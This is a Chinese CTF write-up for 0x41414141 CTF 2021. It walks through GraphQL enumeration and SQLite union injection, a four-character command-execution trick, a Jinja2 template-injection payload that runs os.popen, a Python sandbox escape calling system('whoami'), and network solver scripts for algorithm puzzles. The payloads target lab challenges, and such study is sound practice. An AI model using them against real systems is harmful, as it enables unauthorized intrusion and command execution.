0x41414141CTF2021

web

graphed 2.0

https://sourque.dev/writeups/cuctf20/graphed/

原题魔改而来

https://threezh1.com/2020/05/24/GraphQL%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E5%8F%8A%E6%A1%88%E4%BE%8B/

用这个工具跑字段

https://github.com/prisma-labs/get-graphql-schema

type CreateNote {
  note: NoteObject
}
type Mutation {
  createNote(body: String!, title: String!, username: String!): CreateNote
}
"""An object with an ID"""
interface Node {
  """The ID of the object."""
  id: ID!
}
type NoteObject implements Node {
  uuid: ID!
  title: String
  body: String
  authorId: Int
  author: UserObject
  """The ID of the object."""
  id: ID!
}
type NoteObjectConnection {
  """Pagination data for this connection."""
  pageInfo: PageInfo!
  """Contains the nodes in this connection."""
  edges: [NoteObjectEdge]!
}
"""A Relay edge containing a `NoteObject` and its cursor."""
type NoteObjectEdge {
  """The item at the end of the edge"""
  node: NoteObject
  """A cursor for use in pagination"""
  cursor: String!
}
"""
The Relay compliant `PageInfo` type, containing data necessary to paginate this connection.
"""
type PageInfo {
  """When paginating forwards, are there more items?"""
  hasNextPage: Boolean!
  """When paginating backwards, are there more items?"""
  hasPreviousPage: Boolean!
  """When paginating backwards, the cursor to continue."""
  startCursor: String
  """When paginating forwards, the cursor to continue."""
  endCursor: String
}
type Query {
  """The ID of the object"""
  node(id: ID!): Node
  allNotes(before: String, after: String, first: Int, last: Int): NoteObjectConnection
  allUsers(before: String, after: String, first: Int, last: Int): UserObjectConnection
  coolNotes: [NoteObject]
  getNote(q: String): [NoteObject]
}
type UserObject implements Node {
  uuid: ID!
  username: String
  notes(before: String, after: String, first: Int, last: Int): NoteObjectConnection
  """The ID of the object."""
  id: ID!
}
type UserObjectConnection {
  """Pagination data for this connection."""
  pageInfo: PageInfo!
  """Contains the nodes in this connection."""
  edges: [UserObjectEdge]!
}
"""A Relay edge containing a `UserObject` and its cursor."""
type UserObjectEdge {
  """The item at the end of the edge"""
  node: UserObject
  """A cursor for use in pagination"""
  cursor: String!
}
type CreateNote {
  note: NoteObject
}
type Mutation {
  createNote(body: String!, title: String!, username: String!): CreateNote
}
"""An object with an ID"""
interface Node {
  """The ID of the object."""
  id: ID!
}
type NoteObject implements Node {
  uuid: ID!
  title: String
  body: String
  authorId: Int
  author: UserObject
  """The ID of the object."""
  id: ID!
}
type NoteObjectConnection {
  """Pagination data for this connection."""
  pageInfo: PageInfo!
  """Contains the nodes in this connection."""
  edges: [NoteObjectEdge]!
}
"""A Relay edge containing a `NoteObject` and its cursor."""
type NoteObjectEdge {
  """The item at the end of the edge"""
  node: NoteObject
  """A cursor for use in pagination"""
  cursor: String!
}
"""
The Relay compliant `PageInfo` type, containing data necessary to paginate this connection.
"""
type PageInfo {
  """When paginating forwards, are there more items?"""
  hasNextPage: Boolean!
  """When paginating backwards, are there more items?"""
  hasPreviousPage: Boolean!
  """When paginating backwards, the cursor to continue."""
  startCursor: String
  """When paginating forwards, the cursor to continue."""
  endCursor: String
}
type Query {
  """The ID of the object"""
  node(id: ID!): Node
  allNotes(before: String, after: String, first: Int, last: Int): NoteObjectConnection
  allUsers(before: String, after: String, first: Int, last: Int): UserObjectConnection
  coolNotes: [NoteObject]
  getNote(q: String): [NoteObject]
}
type UserObject implements Node {
  uuid: ID!
  username: String
  notes(before: String, after: String, first: Int, last: Int): NoteObjectConnection
  """The ID of the object."""
  id: ID!
}
type UserObjectConnection {
  """Pagination data for this connection."""
  pageInfo: PageInfo!
  """Contains the nodes in this connection."""
  edges: [UserObjectEdge]!
}
"""A Relay edge containing a `UserObject` and its cursor."""
type UserObjectEdge {
  """The item at the end of the edge"""
  node: UserObject
  """A cursor for use in pagination"""
  cursor: String!
}

分析上述内容,不难理解payload的构造 其实就是面对对象

query={ allUsers { edges { node {uuid,username} } } }

像上述这个payload 通过调用UserObjectConnection对象中的edges变量中的UserObjectEdge中node变量中的UserObject对象中的uuid,username字段

注入其实不难,但这题的点在getNote对象里

image-20210616185221554

image-20210616185223716

输入单引号发现报错

?query={ getNote(q:"1'") { uuid,title} }

image-20210616185243369

用--+闭合,百度一手sqllite注入

https://www.cnblogs.com/wineme/articles/11760966.html

query={ getNote(q:"1' union select 1,2,3,4--+") { uuid,title} }
query={ getNote(q:"1' union select 1,2,sql,name from sqlite_master--+") { uuid,title} }

image-20210616185248467

可以发现flag的位置,这个表名挺离谱,

query={ getNote(q:"1' union select 1,2,3,flag from العلم--+") { uuid,title} }

image-20210616185253065

成功得到flag

hackme

4位长度命令执行,hitcion的原题

[https://mengsec.com/2018/10/31/HITCON-2017-babyfirst-![image-20210616185257458](https://gitee.com/pensen/blogimg/raw/master/image-20210616185257458.png)

由于是四位

cmd=>ls
cmd=*%20/

image-20210616185303940

再重置

cmd=>nl

cmd=%20/f

得到flag

flag{ju57_g0tt@_5pl1t_Em3012}

这里之前卡住以为exec没回显,我一直弹shell弹不出来,就离谱

后来发现这是python写的,exec是可以回显的,加上队里G哥的的提醒,emmm,说白了,还是因为exec弄得我好久

maze

/robots.txt

/sup3rsecr37@p1

graphql注入

{ allTraders { edges { node {uuid,username,coins { edges { node { uuid,body,password } } } } } } }

说说怎么来的吧

这里指的是类

TraderObjectConnection::TraderObjectEdge::TraderObject::CoinObjectConnection::CoinObjectEdge::CoinObject

可以看到CoinObject类有password

image-20210616185315363

image-20210616185357184

XFT是用户名

拿去登录

sqlite 注入

https://blog.csdn.net/weixin_34405925/article/details/89694378

coin=btc1%27 and 1=2 union select  password,username from admin--+

注意只有第二个字段能显示,分别出用户名和密码

当然用户名盲猜也行

admin

p0To3zTQuvFDzjhO9

去/admin登录

然后cookie里有个模板注入

一把索,这里有个坑,需要抓包才能有

"{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eva'+'l' in b.keys() %}{{ b['eva'+'l']('__impor'+'t__'+'(\"o'+'s\")'+'.pope'+'n'+'(\"ls\").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}"

image-20210616185408492

misc

optimizer

nc 连上后求汉诺塔完成最小次数,但是求完又要你求,由此学一手网络编程不断发包

image-20210616185412574

你求完汉诺塔后还会有一关,是求归并排序后的比较次数

这里放两个脚本

一个是Socket脚本

Socket版不稳定,关卡数会变,需要根据实际情况定

建议用pwntools版

import socketfrom ast import literal_evalimport re#汉诺塔def f(n):    if n==0:        return 0    else:        return 2*f(n-1)+1#归并排序class Merge_reversepair():    def __init__(self, arr, left, right):        self.count = 0        self.arr = arr        self.left = left        self.right = right    def merge(self, arr, left, right):        mid = int((left + right) / 2)        aux = [0] * (right - left + 1)        for i in range(left, right + 1):            aux[i - left] = arr[i]        i = left        j = mid + 1        for k in range(left, right + 1):            if i > mid:                arr[k] = aux[j - left]                j += 1            elif j > right:                arr[k] = aux[i - left]                i += 1            elif aux[i - left] <= aux[j - left]:                arr[k] = aux[i - left]                i += 1            elif aux[i - left] > aux[j - left]:                self.count += mid - i + 1                arr[k] = aux[j - left]                j += 1    def merge_sort(self, arr, left, right):        if left >= right:            return        mid = int((left + right) / 2)        self.merge_sort(arr, left, mid)        self.merge_sort(arr, mid + 1, right)        self.merge(arr, left, right)        return self.countif __name__ == '__main__':    s = socket.socket()    host = "45.134.3.200"    port = 9660    s.connect((host, port))    level1=0    while True:        try:            recevie = s.recv(1024).decode()            print(recevie)            if "flag" in recevie:                break            if level1 <=30:                level1 += 1                print(level1)                if "[" in recevie:                    print("----------------level1----------------------")                    find = re.findall('\[.*?\]', recevie)                    count = f(len(literal_eval(find[0])))                    s.send(bytes(str(count).encode()))                    print(level1)                    print("--------------------------------------")            elif level1>30:                if "[" in recevie:                    level1 += 1                    print(level1)                    print("------------------level2--------------------")                    find = re.findall('\[.*?\]', recevie)                    print(find[0])                    n=len(literal_eval(find[0]))                    m = Merge_reversepair(literal_eval(find[0]), 0, n - 1)                    res2 = m.merge_sort(literal_eval(find[0]), 0, n - 1)                    print(n,res2)                    s.send(bytes(str(res2).encode()))                    print("--------------------------------------")        except:            print("error")            continue    s.close()

一个是pwntools的脚本

import pwnfrom ast import literal_evalimport redef f(n):    if n == 0:        return 0    else:        return 2 * f(n - 1) + 1class Merge_reversepair():    def __init__(self, arr, left, right):        self.count = 0        self.arr = arr        self.left = left        self.right = right    def merge(self, arr, left, right):        mid = int((left + right) / 2)        aux = [0] * (right - left + 1)        for i in range(left, right + 1):            aux[i - left] = arr[i]        i = left        j = mid + 1        for k in range(left, right + 1):            if i > mid:                arr[k] = aux[j - left]                j += 1            elif j > right:                arr[k] = aux[i - left]                i += 1            elif aux[i - left] <= aux[j - left]:                arr[k] = aux[i - left]                i += 1            elif aux[i - left] > aux[j - left]:                self.count += mid - i + 1                arr[k] = aux[j - left]                j += 1    def merge_sort(self, arr, left, right):        if left >= right:            return        mid = int((left + right) / 2)        self.merge_sort(arr, left, mid)        self.merge_sort(arr, mid + 1, right)        self.merge(arr, left, right)        return self.countcon = pwn.remote("45.134.3.200", 9660)con.recvline().decode()con.recvline().decode()level1=0for k in range(25):    find = re.findall('\[.*?\]', con.recvline().decode())    List=literal_eval(find[0])    count = f(len(List))    print(List)    print("---------------level1--------------------")    ans = str(f(len(List)))+'\n'    print(ans)    level1+=1    print(level1)    con.send(ans)print(con.recvline().decode())for k in range(25):    find = re.findall('\[.*?\]', con.recvline().decode())    List = literal_eval(find[0])    n = len(List)    count = 0    m = Merge_reversepair(List, 0, n - 1)    res2 = m.merge_sort(List, 0, n - 1)    print("---------------level2-------------------")    print(List)    print(res2)    con.send(str(res2)+'\n')print(con.recvline().decode())

image-20210616185503831

pyjail

image-20210616185525178

给出源码

#!/usr/bin/env python3import refrom sys import modules, versionbanned = "import|chr|os|sys|system|builtin|exec|eval|subprocess|pty|popen|read|get_data"search_func = lambda word: re.compile(r"\b({0})\b".format(word), flags=re.IGNORECASE).searchmodules.clear()del modulesdef main():    print(f"{version}\n")    print("What would you like to say?")    for _ in range(2):        text = input('>>> ').lower()        check = search_func(banned)(''.join(text.split("__")))        if check:            print(f"Nope, we ain't letting you use {check.group(0)}!")            break        if re.match("^(_?[A-Za-z0-9])*[A-Za-z](_?[A-Za-z0-9])*$", text):            print("You aren't getting through that easily, come on.")            break        else:            exec(text, {'globals': globals(), '__builtins__': {}}, {'print':print})if __name__ == "__main__":    main()

exec system是有回显的,沙箱逃逸 去下个python3.8,跑索引

本地跑没啥结果,不知道什么原因,找不到可以利用的类,之前也以为exec这个东西不回显,

导致拖了好久

结果发现print有回显

image-20210616185530730

挺离谱的,这样就简单多了

image-20210616185533405

我复制过来发现有这个类,接下来就是找索引了

list="[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partial'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>]"list=list.replace('[','')list=list.replace(']','')cla=list.split(',')for i in range(len(cla)):    if "os" in cla[i]:        print(i,cla[i])

image-20210616185542356

image-20210616185544579

成功找到索引,由于黑名单的原因,一些东西不能用,加上exec函数,system才有回显

看看os模块中的全部变量

image-20210616185547676

有个system变量,取索引

image-20210616185550216

成功调用getshell

"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['sy'+'stem']("whoami")

image-20210616185553936

image-20210616185557092

blockchain

sanity check

这是个签到题,不做白不做

https://www.freebuf.com/articles/blockchain-articles/193357.html

https://blog.csdn.net/qq_41429081/article/details/103403989

区块链入门

本地搭环境不用了

https://remix.ethereum.org/

有这个在线网站

装个google插件metamask

image-20210616185603095

合约地址已给出

image-20210616185607127

将代码放到那个在线网站,编译,编译成功进入下一步

image-20210616185609954

输入地址 Deploy

image-20210616185621581


文章作者: penson
文章链接: https://www.penson.top
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 penson !
评论
  目录

梨花香-霜雪千年